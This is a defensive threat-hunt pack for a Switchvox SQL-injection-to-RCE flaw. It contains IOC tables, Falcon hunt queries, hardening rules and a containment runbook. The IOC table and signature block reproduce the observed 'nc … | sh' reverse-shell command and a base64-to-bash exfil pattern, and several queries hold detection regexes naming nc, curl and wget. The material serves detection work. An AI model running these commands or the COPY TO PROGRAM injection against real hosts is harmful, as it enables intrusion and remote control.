Sangoma Switchvox CVE-2026-9586 — Unauthenticated SQLi-to-RCE via /pa

Active in-the-wild exploitation of an unauthenticated SQL injection in the Switchvox Polycom provisioning handler, abusing PostgreSQL COPY ... TO PROGRAM for remote code execution.
Threat
CVE-2026-9586
Severity
ACTIVE EXPLOITATION ITW
CVSS
9.3 (Critical)
Type
Unauthenticated SQL Injection → RCE
Access
Network, no authentication required
Platform
Sangoma Switchvox SMB (Linux appliance / VM)
Version
v0.1 · 2026-09-09
Author
HuntPack
Confidence
High — multi-source corroborated, vendor-confirmed patch, active KEV entry
01

Executive Summary

Sangoma Switchvox SMB Edition, an Asterisk-based VoIP/PBX appliance commonly deployed on-premises or as a VMware/Hyper-V virtual machine, ships an HTTP endpoint (/pa) meant to receive XML provisioning notifications from Polycom IP phones. The endpoint's handler (PhoneAppsHandler.pm, function tel_notify()) takes the PhoneIP value out of the incoming XML with no authentication and no sanitization, and concatenates it directly into an unparameterized PostgreSQL query. Because the query executes as the PostgreSQL superuser, an attacker can escape the string context and inject a COPY ... TO PROGRAM statement, which PostgreSQL will happily hand to the OS shell — turning a single unauthenticated HTTP POST into full remote code execution on the appliance.

Horizon3.ai discovered and reported the flaw (along with 11 lower-severity findings) to Sangoma on 2026-04-10; Sangoma shipped the fix in Switchvox 8.4.0.2 on 2026-07-14. Horizon3, working with Defused Cyber, had internet honeypots up before the patch shipped, and on 2026-08-30 those honeypots began seeing real-world exploitation from a single source IP (176.65.148.184): the attacker dropped a raw nc reverse shell on TCP/39323, then ran a base64-wrapped process-enumeration command. CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities catalog on 2026-09-02. Field Effect and Horizon3 both report the attack has since broadened to dozens of source IPs and includes second-stage payload delivery that researchers describe as consistent with a cryptominer.

Because Switchvox is a general-purpose Linux host — not locked-down firmware — it can run a Falcon sensor, and process/network telemetry on the box is a first-class hunt surface: PostgreSQL should essentially never spawn a shell interpreter, and the box should essentially never make outbound connections to non-business destinations on odd high ports. The single highest-value defensive action is patching to 8.4.0.2 and restricting network reachability to /pa; the single highest-value detective action is alerting on postgres (or the web/app stack fronting it) spawning a shell, network tool, or downloader.

Defender priority: assume any internet-reachable Switchvox instance still on 8.3.x or earlier has already been probed. Patch to 8.4.0.2 immediately, hunt for reverse-shell and process-enumeration artifacts on the appliance now, and treat the box as a likely pivot point into the rest of the environment rather than an isolated asset.

02

Source Review & Web Hunter Notes

Six sources were fetched and saved as verbatim text snapshots for provenance (see §18 References and the Sangoma-Switchvox-CVE-2026-9586-Hunt-sources/ folder). Two (The Hacker News, IONIX) returned as condensed extractions rather than full-page verbatim text via the fetch tool; both are retained as corroboration only, and no atomic indicator in this pack relies on them exclusively.

SourceRoleKey contribution
Horizon3.ai (disclosure)Primary technicalRoot-cause detail (PhoneAppsHandler.pm / tel_notify()), timeline, PoC shape, wild exploitation IOCs (176.65.148.184, port 39323, db-quirks.log)
Help Net SecurityJournalism, vendor quotesConfirms exploitation start date, attacker follow-on cryptominer download, Shodan exposure figure (~4,000)
BleepingComputerJournalismConfirms IOC set, restates remediation guidance and log path
The Hacker NewsJournalism (corroboration)Confirms CVSS 9.3, impact scope (privilege escalation, cookie signing key exposure)
Field EffectThreat intel / hardening angleDeployment-architecture guidance, pivot-risk framing, segmentation recommendations used in §12
IONIX (corroboration)Vulnerability databaseCVSS 4.0 vector string, affected build number (104997), CWE-89 classification

No source was dropped for prompt-injection content; all six returned analyst-facing threat-intel text with no directives addressed to an AI agent.

03

Hunt Brief & Attack Chain

Hunt hypotheses

  • H1: An attacker has sent (or will send) an unauthenticated crafted XML POST to /pa to inject SQL and reach COPY ... TO PROGRAM, resulting in a PostgreSQL-spawned OS command on the Switchvox host.
  • H2: A successful exploitation event produced a reverse shell (raw nc/bash) back to attacker infrastructure, and/or downloaded a second-stage payload (reported by Horizon3 as consistent with a cryptominer).
  • H3: The attacker used the shell to enumerate running processes (observed top -bn1 | awk pattern, base64-wrapped) and exfiltrate the output via an outbound HTTP GET to an attacker-controlled server.
  • H4: The compromised Switchvox appliance is being used, or will be used, as a pivot point into internal identity, backup, or management infrastructure it is integrated with.

Attack chain

StageAttacker actionHost-side artifact
1. ReconnaissanceShodan/mass-scan for internet-exposed Switchvox instances (~4,000 identified by researchers)Inbound HTTP requests to /pa from unrecognized sources
2. Exploitation (T1190)Unauthenticated POST to /pa with XML body beginning <PolycomIPPhone>, PhoneIP field carrying an injected SQL fragmentSQL injection markers / stacked-query artifacts in /var/log/switchvox/db-quirks.log
3. Execution (T1059.004)Injected SQL invokes COPY (...) TO PROGRAM '...', executing an OS command as the PostgreSQL service accountpostgres process spawns a shell interpreter (sh/bash) or network tool as a direct child
4. C2 / Access (T1571)Reverse shell established to attacker infrastructure on a non-standard TCP port (observed: 39323)Outbound NetworkConnectIP4 from the spawned shell/nc process to an external address
5. Discovery (T1057)Base64-wrapped enumeration of running processes, results exfiltrated via HTTP GET to attacker infrastructurebash/sh child running a base64 -d | bash pipeline; outbound curl to an unfamiliar host
6. Ingress Tool Transfer / Impact (T1105 / T1496)Second-stage payload downloaded and executed — researchers report indications of a cryptominercurl/wget child of postgres/shell downloading to /tmp or /dev/shm, followed by a new long-running unrecognized process
04

Consolidated IOC Table

TypeValueConfidenceActionContext
CVECVE-2026-9586highhuntUnauthenticated SQLi → RCE via /pa; CVSS 9.3 / CVSS:4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
IPv4176.65.148.184highdetectSource of rapid-succession exploitation attempts across multiple honeypots (2026-08-30); dropped initial nc reverse shell payload
Port39323/tcphighhuntReverse shell callback port paired with 176.65.148.184 in the initial observed payload (nc 176.65.148.184 39323 | sh)
File path/var/log/switchvox/db-quirks.loghighhuntSwitchvox application log where SQL injection / COPY ... TO PROGRAM artifacts are recorded
Endpoint/pahighhuntVulnerable unauthenticated HTTP endpoint (PhoneAppsHandler.pm, tel_notify())
Behaviorecho <base64> | base64 -d | bashhighhuntWild process-enumeration exfil pattern; decodes to top -bn1 | awk '/^ *PID/ {getline; print $1, $12, $9}'
File hashnot yet publishedlowenrichSecond-stage payload reported as consistent with a cryptominer; no hash disclosed by researchers as of 2026-09-09 — tracked as REPLACE_WITH_SHA256 in §10
Software versionSwitchvox SMB 8.3 (build 104997) and priorhighhuntVulnerable version range; fixed in 8.4.0.2 (released 2026-07-14)
Exposure metric~4,000 internet-exposed instances (Shodan)mediumenrichMost located in the United States; scale of the addressable attack surface
05

Affected Surface & Telemetry Matrix

SurfaceTelemetryPriorityGap / notes
/pa HTTP endpoint (unauthenticated)Web/reverse-proxy access log ingest (Apache/nginx) into Falcon NG-SIEM, if configuredCriticalGap: many deployments do not forward Switchvox web logs off-box; native OS process telemetry (below) is the reliable fallback
PostgreSQL backend (runs injected SQL, incl. COPY TO PROGRAM)Falcon Linux sensor — ProcessRollup2 / SyntheticProcessRollup2 (postgres parent-child relationships)CriticalRequires a healthy Falcon sensor deployed on the Switchvox Linux host — confirm this in §11
OS shell / command execution (post-injection RCE)Falcon Linux sensor — process telemetry, command-line captureCriticalNone — this is the core coverage of §8 Q1–Q3
Outbound network (reverse shell, exfil, second-stage download)Falcon Linux sensor — NetworkConnectIP4HighNone — covered by §8 Q5–Q7
Switchvox application log/var/log/switchvox/db-quirks.log — not natively Falcon telemetryHighGap: requires manual review or log-forwarder onboarding; see §7 native hunts
Downstream integrations (AD/LDAP, backup, management platforms)Identity Protection / AD auth telemetry, if licensedMediumGap: pivot-risk detection depends on whether Switchvox integration accounts are visible to identity telemetry
06

ATT&CK Mapping

TacticTechniqueBehaviorQuery / Control
Initial AccessT1190 — Exploit Public-Facing ApplicationUnauthenticated crafted XML POST to /pa exploiting the PhoneIP SQLiQ8 (web log); patch 8.4.0.2; §12/§13 network controls
ExecutionT1059.004 — Command and Scripting Interpreter: Unix ShellSQLi → COPY TO PROGRAM spawns /bin/bash or sh as a child of postgresQ1, Q2, Q3
Command and ControlT1571 — Non-Standard PortReverse shell callback on TCP/39323 (observed) or other non-standard high portQ5, Q6
DiscoveryT1057 — Process DiscoveryBase64-wrapped top -bn1 | awk process enumeration, exfiltrated via HTTPQ3
Command and Control / Resource DevelopmentT1105 — Ingress Tool Transfercurl/wget download of second-stage payload from postgres or shell parentQ7
ImpactT1496 — Resource HijackingSecond-stage payload reported consistent with a cryptominerQ7 (same artifact); host resource-utilization monitoring
07

Native Audit-Log Hunts

These checks run directly on (or against) the Switchvox appliance and do not depend on Falcon telemetry. Run them as part of initial triage on any internet-reachable Switchvox host, especially anything still on 8.3.x or earlier.

  • Version check: confirm the installed Switchvox build. Anything at or below SMB 8.3 (build 104997) is vulnerable; the fix ships in 8.4.0.2.
  • db-quirks.log review: grep /var/log/switchvox/db-quirks.log for COPY, TO PROGRAM, or unexpected single-quote/semicolon sequences in logged SQL — these are the SQLi fingerprint Horizon3 documented.
  • Listening-socket audit: ss -tulpn / netstat -tulpn for unexpected listeners bound by postgres, perl, httpd/apache2, or unrecognized binaries.
  • Cron / persistence audit: review crontab -l for the appliance's service accounts and /etc/cron.d for entries added outside a known maintenance window.
  • Process tree snapshot: ps auxf looking for shell interpreters, nc/ncat, or unfamiliar long-running binaries parented by postgres or the web stack.
  • Recent file writes: check /tmp, /var/tmp, and /dev/shm for recently created executables or scripts — common drop locations for a COPY TO PROGRAM-delivered payload.
  • Admin/user record audit: review Switchvox admin accounts and any AD/LDAP-integrated identities for unexpected creation or privilege changes, given researcher reporting of possible privilege-escalation-to-admin behavior.

If /pa web-access logs are not currently forwarded off the appliance, onboarding that log source is the single biggest telemetry gap this pack identifies (see §5 and Q8 in §8).

08

CrowdStrike LogScale CQL Hunt Queries

Pick your tenant's cloud first — every "Open in Falcon" button below uses this selection.
Q1 · PostgreSQL Spawns Shell or Network/Recon Tool
CONF HIGHFP LOWCOST LOW

Looks for: the core execution primitive of CVE-2026-9586 — PostgreSQL's COPY ... TO PROGRAM handing a command straight to the OS shell. A postgres process spawning a shell interpreter, scripting language, or basic network tool is abnormal on almost any host.

// HUNT: postgres spawning shell / scripting / network tooling — CVE-2026-9586 COPY TO PROGRAM primitive
// MITRE: T1059.004 | CONF: high  FP: low  COST: low | REQUIRES: Falcon sensor (Linux) on the Switchvox host
// LOOKBACK: 7d (set window in the Falcon time picker)
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| ParentBaseFileName=/^postgres$/i
| FileName=/^(sh|bash|dash|nc|ncat|netcat|curl|wget|python|python3|perl|awk|base64)$/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q2 · nc/ncat Reverse-Shell Execution Pattern
CONF HIGHFP MEDCOST LOW

Looks for: the exact shape of the initial wild payload (nc <ip> <port> | sh) or a shell spawned with -e /bin/sh. FP: some Linux admins legitimately use nc for one-off diagnostics; exclude known jump-host / bastion admin workstations if they routinely run nc for troubleshooting.

// HUNT: nc/ncat piping to or spawning a shell — reverse-shell execution pattern
// MITRE: T1059.004, T1571 | CONF: high  FP: medium  COST: low | REQUIRES: Falcon sensor (Linux)
// TUNING: exclude known admin/bastion hosts where nc is used for legitimate port-diagnostics; review any hit's ParentBaseFileName before escalating
// LOOKBACK: 7d
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^(nc|ncat|netcat)$/i
| CommandLine=/(-e\s+\/bin\/(ba)?sh|\|\s*(ba)?sh\b)/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q3 · Base64-Wrapped Process-Enumeration Exfil (Horizon3 wild pattern)
CONF HIGHFP LOWCOST LOW

Looks for: the specific post-exploitation reconnaissance pattern Horizon3 documented — a base64-encoded command decoded and piped to bash, matching the observed top -bn1 | awk process-enumeration payload.

// HUNT: base64-encoded command decoded and executed via bash — wild post-exploitation recon pattern
// MITRE: T1057 | CONF: high  FP: low  COST: low | REQUIRES: Falcon sensor (Linux)
// LOOKBACK: 7d
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^(bash|sh)$/i
| CommandLine=/echo\s+[A-Za-z0-9+\/=]{20,}\s*\|\s*base64\s+-d\s*\|\s*(ba)?sh/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q4 · Web/App Stack Spawns Shell or Recon Tooling (broad net)
CONF MEDFP MED-HIGHCOST LOW

Looks for: a wider net around the /pa handler's runtime context — the Apache/nginx/Perl (mod_perl) stack that actually receives the request spawning a shell or basic recon tool, in case the injected command executes in the web-process context rather than directly under postgres. FP: Perl CGI stacks legitimately shell out for some Switchvox provisioning and reporting functions; validate against a known-good baseline of ParentBaseFileName/CommandLine pairs before promoting to a blocking rule.

// HUNT: httpd/apache2/nginx/perl parent spawning a shell or basic recon tool
// MITRE: T1190, T1059.004 | CONF: medium  FP: med-high  COST: low | REQUIRES: Falcon sensor (Linux)
// TUNING: baseline legitimate Perl/CGI child processes for 14 days before alerting; exclude known Switchvox maintenance scripts (e.g. scheduled backup/report generators) by CommandLine pattern
// LOOKBACK: 7d
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| ParentBaseFileName=/^(httpd|apache2|nginx|perl)$/i
| FileName=/^(sh|bash|nc|ncat|curl|wget|python|python3|perl|id|whoami|uname|chmod)$/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q5 · Outbound Connection to Known CVE-2026-9586 Attacker Infrastructure
CONF HIGHFP LOWCOST LOW

Looks for: outbound connections to the specific attacker source IP / reverse-shell callback port observed by Horizon3's honeypots (176.65.148.184 on TCP/39323).

// HUNT: outbound connection matching the observed CVE-2026-9586 reverse-shell callback
// MITRE: T1571 | CONF: high  FP: low  COST: low | REQUIRES: Falcon sensor (Linux) network telemetry
// LOOKBACK: 30d
#event_simpleName=NetworkConnectIP4
| RemotePort=39323
| RemoteAddressIP4=/^176\.65\.148\.184$/
| table([@timestamp, aid, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort, LocalAddressIP4, LocalPort])
| sort(@timestamp, order=desc)
Q6 · postgres/Shell Process Making Outbound External Connections
CONF MEDFP MEDCOST MED

Looks for: a behavioral (non-IOC-dependent) variant of Q5 — any external (non-RFC1918) connection made directly by postgres or a bare shell interpreter, which covers reverse shells to infrastructure not yet reported. FP: postgres can legitimately make outbound connections for replication, logical decoding to an external subscriber, or a configured archive_command target — exclude known replication/backup peer addresses.

// HUNT: postgres or bare shell interpreter making an external (non-RFC1918) network connection
// MITRE: T1571 | CONF: medium  FP: medium  COST: medium | REQUIRES: Falcon sensor (Linux) network telemetry
// TUNING: exclude known PostgreSQL replication/archive_command/backup peer addresses; if none are configured for this host, tighten CONF to high
// LOOKBACK: 7d
#event_simpleName=NetworkConnectIP4
| ContextBaseFileName=/^(postgres|nc|ncat|sh|bash)$/i
| !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","127.0.0.0/8","169.254.0.0/16"])
| table([@timestamp, aid, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort])
| sort(@timestamp, order=desc)
Q7 · Second-Stage Payload Download (Ingress Tool Transfer)
CONF MEDFP MEDCOST LOW

Looks for: curl/wget invoked from a postgres or shell parent to fetch a file into a world-writable temp location — the pattern reported for the second-stage (reportedly cryptominer) payload. FP: legitimate Switchvox updates or plugin/codec downloads could match; correlate with a subsequent unrecognized long-running process before escalating.

// HUNT: curl/wget child of postgres/shell downloading into a world-writable temp path
// MITRE: T1105, T1496 | CONF: medium  FP: medium  COST: low | REQUIRES: Falcon sensor (Linux)
// TUNING: exclude known Switchvox update/plugin-download maintenance windows; require correlation with a new persistent process (see Q1/Q6) before treating as confirmed compromise
// LOOKBACK: 7d
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| ParentBaseFileName=/^(postgres|sh|bash)$/i
| FileName=/^(curl|wget)$/i
| CommandLine=/(\-o\s*\/(tmp|var\/tmp|dev\/shm)|\-\-output\s*\/(tmp|var\/tmp|dev\/shm))/i
| table([@timestamp, aid, ComputerName, ParentBaseFileName, CommandLine, UserName])
| sort(@timestamp, order=desc)
Q8 · HTTP POST to /pa Endpoint (web/reverse-proxy log ingest)
CONF MEDFP LOW-MEDCOST LOW

Looks for: requests to the vulnerable /pa endpoint at the web-server/reverse-proxy layer — the earliest possible detection point, before any SQLi has to succeed. Requires an NG-SIEM log source for the Switchvox web/reverse-proxy access log; field and source names below are illustrative (snake_case parser fields) and must be validated against your actual ingest configuration. FP: legitimate Polycom phone provisioning traffic also targets /pa — this query is a volumetric/anomaly starting point, not a standalone verdict; pivot on source IP reputation and request volume.

// HUNT: HTTP POST to the vulnerable /pa endpoint — earliest detection point, pre-SQLi
// MITRE: T1190 | CONF: medium  FP: low-med  COST: low | REQUIRES: web/reverse-proxy access log ingested into Falcon NG-SIEM (NOT native sensor telemetry — validate event/source and field names for your ingest before use)
// TUNING: legitimate Polycom phones also call /pa; baseline expected source IPs (your own phone subnet) and alert only on requests from outside that range
// LOOKBACK: 7d
#event_simpleName=HttpRequestEvent
| uri=/^\/pa$/
| http_method=POST
| table([@timestamp, src_ip, uri, http_method, http_user_agent])
| sort(@timestamp, order=desc)
09

Custom IOA Recommendations

IOA namePatternExclusionsDeployment path
PostgreSQL Spawns Shell InterpreterParentImage matches postgres AND Image matches sh/bash/dashNone expected on Switchvox appliances — postgres should never legitimately spawn an interactive shellFalcon Console → Endpoint Security → Custom IOA rule groups → Linux → deploy in detect-only for 7 days before block
PostgreSQL Spawns Network ToolParentImage matches postgres AND Image matches nc/ncat/netcatDBA diagnostic use of nc from an authorized bastion, if any is documentedSame rule group; pair with Q1/Q2
Web-Stack Process Spawns Recon UtilityParentImage matches httpd/apache2/nginx/perl AND Image matches id/whoami/unameKnown Switchvox maintenance/report scripts — baseline first per Q4 tuning noteDeploy detect-only; promote after 14-day baseline shows zero legitimate hits
10

Machine-Readable IOC Appendix

Falcon IOC Management CSVbulk import
type,value,action,severity,expiration,description,tags
ipv4,176.65.148.184,detect,critical,2027-03-09,CVE-2026-9586 Switchvox SQLi-to-RCE - observed reverse-shell callback source IP,campaign:Switchvox-CVE-2026-9586
sha256,REPLACE_WITH_SHA256,hunt,medium,2026-12-09,Second-stage payload (reported cryptominer) dropped post-exploitation - hash not yet published,campaign:Switchvox-CVE-2026-9586
Behavioral Signatureshunt patterns, not for direct import
# Reverse shell callback port observed in the wild (paired with 176.65.148.184)
Port: 39323/tcp

# Initial wild payload observed by Horizon3 honeypots
nc 176.65.148.184 39323 | sh

# Process-enumeration exfil pattern (base64-wrapped)
echo <base64> | base64 -d | bash
# decodes to: top -bn1 | awk '/^ *PID/ {getline; print $1, $12, $9}'

# Switchvox application log carrying the SQLi fingerprint
/var/log/switchvox/db-quirks.log

# SQL injection marker to grep for in db-quirks.log
COPY (SELECT ...) TO PROGRAM '...'
Vulnerability & Endpoint Contextnamed tooling
CVE: CVE-2026-9586 (CVSS 9.3; CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Vulnerable endpoint: /pa  (PhoneAppsHandler.pm -> tel_notify())
Affected: Sangoma Switchvox SMB Edition 8.3 (build 104997) and prior
Fixed version: 8.4.0.2 (released 2026-07-14)
Exploitation primitive: PostgreSQL COPY ... TO PROGRAM (SQLi-to-OS-command)
CISA KEV added: 2026-09-02
Patch / Exposure Auditchecklist commands
# Confirm Switchvox build/version is >= 8.4.0.2 (check admin UI: Settings -> About,
# or the appliance's version file per Sangoma documentation)

# Grep the application log for SQLi/COPY TO PROGRAM markers
grep -i "TO PROGRAM" /var/log/switchvox/db-quirks.log

# Confirm no unexpected listeners
ss -tulpn

# Confirm /pa is not reachable from the open internet (should return connection
# refused/timeout from an untrusted network once firewalled)
curl -m 5 -o /dev/null -s -w "%{http_code}\n" https://SWITCHVOX_HOST/pa
11

Detection Validation Gates

GateRequirement
Telemetry readyConfirm a Falcon sensor is installed and reporting on the Switchvox Linux host (Falcon Console → Host Management). Confirm whether /pa web-access logs are forwarded to NG-SIEM; if not, this is a tracked gap (§5, §7).
Benign baselineRun Q1, Q4, and Q6 over a 30-day trailing window with no alerting to confirm postgres/web-stack processes on this specific environment never legitimately spawn shells, nc, or make unexpected external connections.
Positive testDo not run a live exploit against a production instance. Validate detections in an isolated lab using a Switchvox 8.3.x instance patched to reproduce only the documented log signature (db-quirks.log SQLi marker) and a manually-launched benign nc/bash child under postgres to confirm Q1/Q2 fire — never execute a functional COPY TO PROGRAM payload outside an isolated lab.
PromotionMove Q1, Q3, Q5 from hunt to standing detection after the benign baseline returns zero legitimate hits for 14 consecutive days. Q2, Q4, Q6, Q7 stay in hunt/detect-and-review mode until the TUNING exclusions above have been validated against this environment's actual baseline.
12

Hardening — Tiered

Immediate
  • Patch every internet-reachable and internal Switchvox instance to 8.4.0.2 or later — this is the single action that closes CVE-2026-9586. (MITRE M1051 — Update Software; Sangoma vendor advisory/release notes for 8.4.0.2)
  • If patching cannot happen immediately, restrict network access to the Switchvox web interface and specifically the /pa endpoint to trusted management networks only (firewall ACL or reverse-proxy allowlist). (MITRE M1037 — Filter Network Traffic)
  • Deploy or verify a healthy Falcon sensor on the Switchvox Linux host — it is a general-purpose Linux appliance/VM and fully supports EDR. (supports MITRE M1047 — Audit)
  • Run the §7 native hunts and §10 patch/exposure audit checklist against every known Switchvox instance now, regardless of patch status, to rule out prior compromise. (MITRE M1047 — Audit; CIS Controls v8, Control 7 — Continuous Vulnerability Management)
Near term
  • Segment the VoIP/PBX appliance onto its own VLAN, isolated from AD, backup, and management infrastructure — researchers specifically flag Switchvox as valuable as a pivot point, not just a target. (MITRE M1030 — Network Segmentation; CIS Controls v8, Control 12 — Network Infrastructure Management)
  • Rotate any credentials or integration secrets the appliance holds (AD/LDAP service accounts, cookie signing keys, backup credentials) if there is any indication of prior exposure. (MITRE M1026 — Privileged Account Management)
  • Review Switchvox admin accounts and any AD/LDAP-integrated identities for unexpected creation, privilege changes, or recent unusual authentication. (MITRE M1018 — User Account Management)
  • Onboard the Switchvox web/reverse-proxy access log to your SIEM/NG-SIEM if not already centralized, to close the Q8 telemetry gap. (MITRE M1047 — Audit)
  • Implement default-deny egress from the appliance's subnet, allowing only the specific destinations the appliance legitimately requires (updates, licensing, SIP trunking, NTP). (MITRE M1037 — Filter Network Traffic)
Strategic
  • Treat all internet-facing VoIP/PBX and other edge appliances as untrusted by default — front them with a WAF or reverse proxy capable of input validation and endpoint allowlisting, not direct exposure. (MITRE M1037 — Filter Network Traffic; CIS Controls v8, Control 4 — Secure Configuration of Enterprise Assets)
  • Maintain an inventory of Sangoma products in the environment (Switchvox, FreePBX, and related Digium-derived platforms) — this vulnerability follows a pattern of related findings across the Sangoma ecosystem, and future disclosures are likely. (CIS Controls v8, Control 1 — Inventory and Control of Enterprise Assets)
  • Build and rehearse an incident-response runbook specifically for compromised edge/telephony appliances, including evidence preservation for appliance-specific logs (§14). (CIS Controls v8, Control 17 — Incident Response Management)
  • Periodically re-scan for internet exposure of administrative and provisioning interfaces across all appliance classes, not just Switchvox. (MITRE M1016 — Vulnerability Scanning)
13

Deployable Playbooks

1. Restrict /pa and the admin UI at the host firewall (iptables)

# Allow only a defined management CIDR to reach the Switchvox web interface;
# drop everything else. Replace 203.0.113.0/24 with your actual management range.
iptables -A INPUT -p tcp --dport 443 -s 203.0.113.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A INPUT -p tcp --dport 80  -s 203.0.113.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 80  -j DROP

2. Reverse-proxy block rule for /pa from non-allowlisted sources (nginx)

location /pa {
    allow 203.0.113.0/24;   # management / known-phone subnet
    deny all;
}

3. Egress allowlist for the appliance subnet (iptables, default-deny)

iptables -A OUTPUT -d 203.0.113.0/24 -j ACCEPT        # internal management
iptables -A OUTPUT -p udp --dport 123 -j ACCEPT        # NTP
iptables -A OUTPUT -p tcp --dport 443 -d updates.sangoma.com -j ACCEPT
iptables -A OUTPUT -j DROP                              # default-deny egress

4. Falcon sensor presence/health check (verify before relying on Q1-Q7)

# On the Switchvox Linux host
sudo systemctl status falcon-sensor
sudo /opt/CrowdStrike/falconctl -g --aid --cid
# In the Falcon console: Host Management -> filter by hostname -> confirm
# "Last Seen" is recent and sensor status is Normal
14

Containment Runbook

PhaseActionsOwnerEvidence to preserve
DetectConfirm a Q1-Q8 hit or native-hunt finding; validate it is not a benign baseline match per §11SOC / hunt analystQuery results, timestamps, affected aid/ComputerName
ContainIsolate the Switchvox host at the network layer (Falcon network containment or firewall isolation); do not power off — preserve volatile stateIR leadNetwork containment ticket/timestamp; live process list (ps auxf) before isolation completes
EradicatePatch to 8.4.0.2; kill and remove any dropped reverse-shell or second-stage binaries; remove unauthorized cron entries or admin accounts identified in §7Systems/VoIP admin + IRCopies of removed files/hashes, before/after crontab and admin-account listings
RecoverRestore from a known-good backup/snapshot if integrity is in doubt; rotate all credentials and integration secrets the appliance held; re-enable production traffic only after §11 positive-test confirms detections fireSystems/VoIP adminRestore log, rotation confirmation, re-enablement approval
Post-incidentRoot-cause report; confirm no lateral movement into AD/backup/management systems the appliance integrated with; update this pack's Coverage Map and ChangelogIR leadRoot-cause report, lateral-movement hunt results, updated pack version
15

Detection Coverage Map

TechniqueBehaviorCQLIOACoverage
T1190Unauthenticated exploitation of /paQ8 (requires web-log ingest)Partial
T1059.004postgres/web-stack spawns shell via COPY TO PROGRAMQ1, Q2, Q3, Q4Custom IOAs §9Good
T1571Reverse-shell callback on non-standard portQ5, Q6Good
T1057Post-exploitation process enumerationQ3Good
T1105 / T1496Second-stage payload download / cryptominerQ7Partial
Lateral movement via appliance pivotUse of Switchvox-held integration secrets against AD/backup/managementGap

Coverage gaps: T1190 (Q8) and pivot-risk lateral movement both depend on telemetry (web-log ingest; identity/AD visibility for Switchvox-held integration accounts) that may not be onboarded in every environment — see §5 and §11 for what to stand up before treating this pack as fully deployed.

16

Hunt Summary Ticket

TITLE: Hunt for CVE-2026-9586 Sangoma Switchvox SQLi-to-RCE exploitation
SEVERITY: Critical (CVSS 9.3; actively exploited in the wild; CISA KEV)
SCOPE: All Sangoma Switchvox SMB Edition instances (internet-facing and internal),
       especially any host still running 8.3.x or earlier
HYPOTHESIS: Attacker sent an unauthenticated crafted XML POST to /pa, triggering
       SQL injection and PostgreSQL COPY ... TO PROGRAM to execute OS commands,
       establish a reverse shell, enumerate processes, and possibly deploy a
       second-stage cryptominer payload
QUERIES: Q1-Q8 (section 8) - postgres/web-stack process spawns, reverse-shell
       network callbacks, base64 recon-exfil pattern, second-stage download,
       and /pa web-log requests
DO FIRST: (1) confirm Switchvox version and patch to 8.4.0.2 if not current;
       (2) confirm Falcon sensor health on the host; (3) grep db-quirks.log for
       SQLi/COPY TO PROGRAM markers; (4) run Q1, Q3, Q5 over 30d
FINDINGS: [populate after hunt execution]
GAPS: /pa web-access log ingest not confirmed in all environments (Q8); identity
       telemetry for Switchvox-held integration accounts not confirmed (lateral
       movement coverage, section 15)
ACTIONS: Patch to 8.4.0.2; restrict /pa network reachability; segment appliance
       subnet; rotate integration secrets if any indicator of compromise found
OWNER: [assign hunt owner]
VERSION: v0.1 - 2026-09-09
17

Changelog

v0.12026-09-09Initial pack: research, hunt hypotheses, MITRE mapping, 8 CQL detections (Falcon Linux process/network telemetry + optional web-log query), custom IOA recommendations, tiered hardening, playbooks, containment runbook, and hunt ticket built from Horizon3, Help Net Security, BleepingComputer, The Hacker News, Field Effect, and IONIX reporting on the 2026-08-30 onset of active exploitation.
18

References

TierSourceUsed forAccess date
Primary technical disclosureHorizon3.ai — CVE-2026-9586 DisclosureRoot-cause detail, timeline, wild-exploitation IOCs2026-09-09
JournalismHelp Net SecurityExploitation timeline, second-stage cryptominer reporting, exposure figure2026-09-09
JournalismBleepingComputerIOC corroboration, remediation guidance2026-09-09
Journalism (corroboration)The Hacker NewsCVSS confirmation, impact scope corroboration2026-09-09
Threat intel / hardeningField EffectDeployment-architecture and segmentation guidance2026-09-09
Vulnerability database (corroboration)IONIX Threat CenterCVSS 4.0 vector string, affected build number2026-09-09

Verbatim source snapshots for the above are saved in Sangoma-Switchvox-CVE-2026-9586-Hunt-sources/ alongside this pack for IOC provenance.